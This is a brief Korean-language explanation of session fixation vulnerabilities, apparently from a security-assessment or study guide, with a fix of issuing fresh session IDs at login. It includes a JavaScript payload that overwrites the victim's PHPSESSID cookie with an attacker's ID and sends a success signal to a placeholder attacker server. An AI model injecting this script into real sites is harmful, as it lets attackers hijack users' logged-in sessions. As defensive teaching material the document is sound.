로그인 전, 후 또는 로그인 했을 때 세션 ID와 로그아웃 후 재로그인 했을 때의 세션 ID가 동일하거나 예측 가능하면 세션 고정 취약점이 발생할 가능성이 있다.
path=/
루트 경로로 지정해야 한다. 지정한 경로를 포함한 하위 경로에 있는 페이지만 쿠키에 접근할 수 있기 때문에 공격자 세션 ID를 주입한 쿠키로 웹 사이트의 모든 페이지에 접근하려면 루트 경로로 지정해야 한다. 경로를 지정하지 않아 기본값인 현재 경로로 지정되면 공격이 발생한 페이지를 포함한 하위 경로만 접근 가능하다.async function session(){
if(!document.cookie.includes("PHPSESSID=공격자 세션 ID")){
// 기존 세션 초기화
document.cookie="PHPSESSID=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
// 공격자 세션 ID 주입
document.cookie="PHPSESSID=공격자 세션 ID; path=/;";
// 세션 ID 주입하면 성공 메시지 전송
await fetch("http://공격자 서버 IP?x=success");
}else{
// 이미 주입되었다면 무시
return;
}
}
로그인할 때마다 예측 불가능한 새로운 세션 ID를 발급하고 기존 세션 ID는 파기한다.
https://ko.javascript.info/cookie#ref-46
주요정보통신기반취약점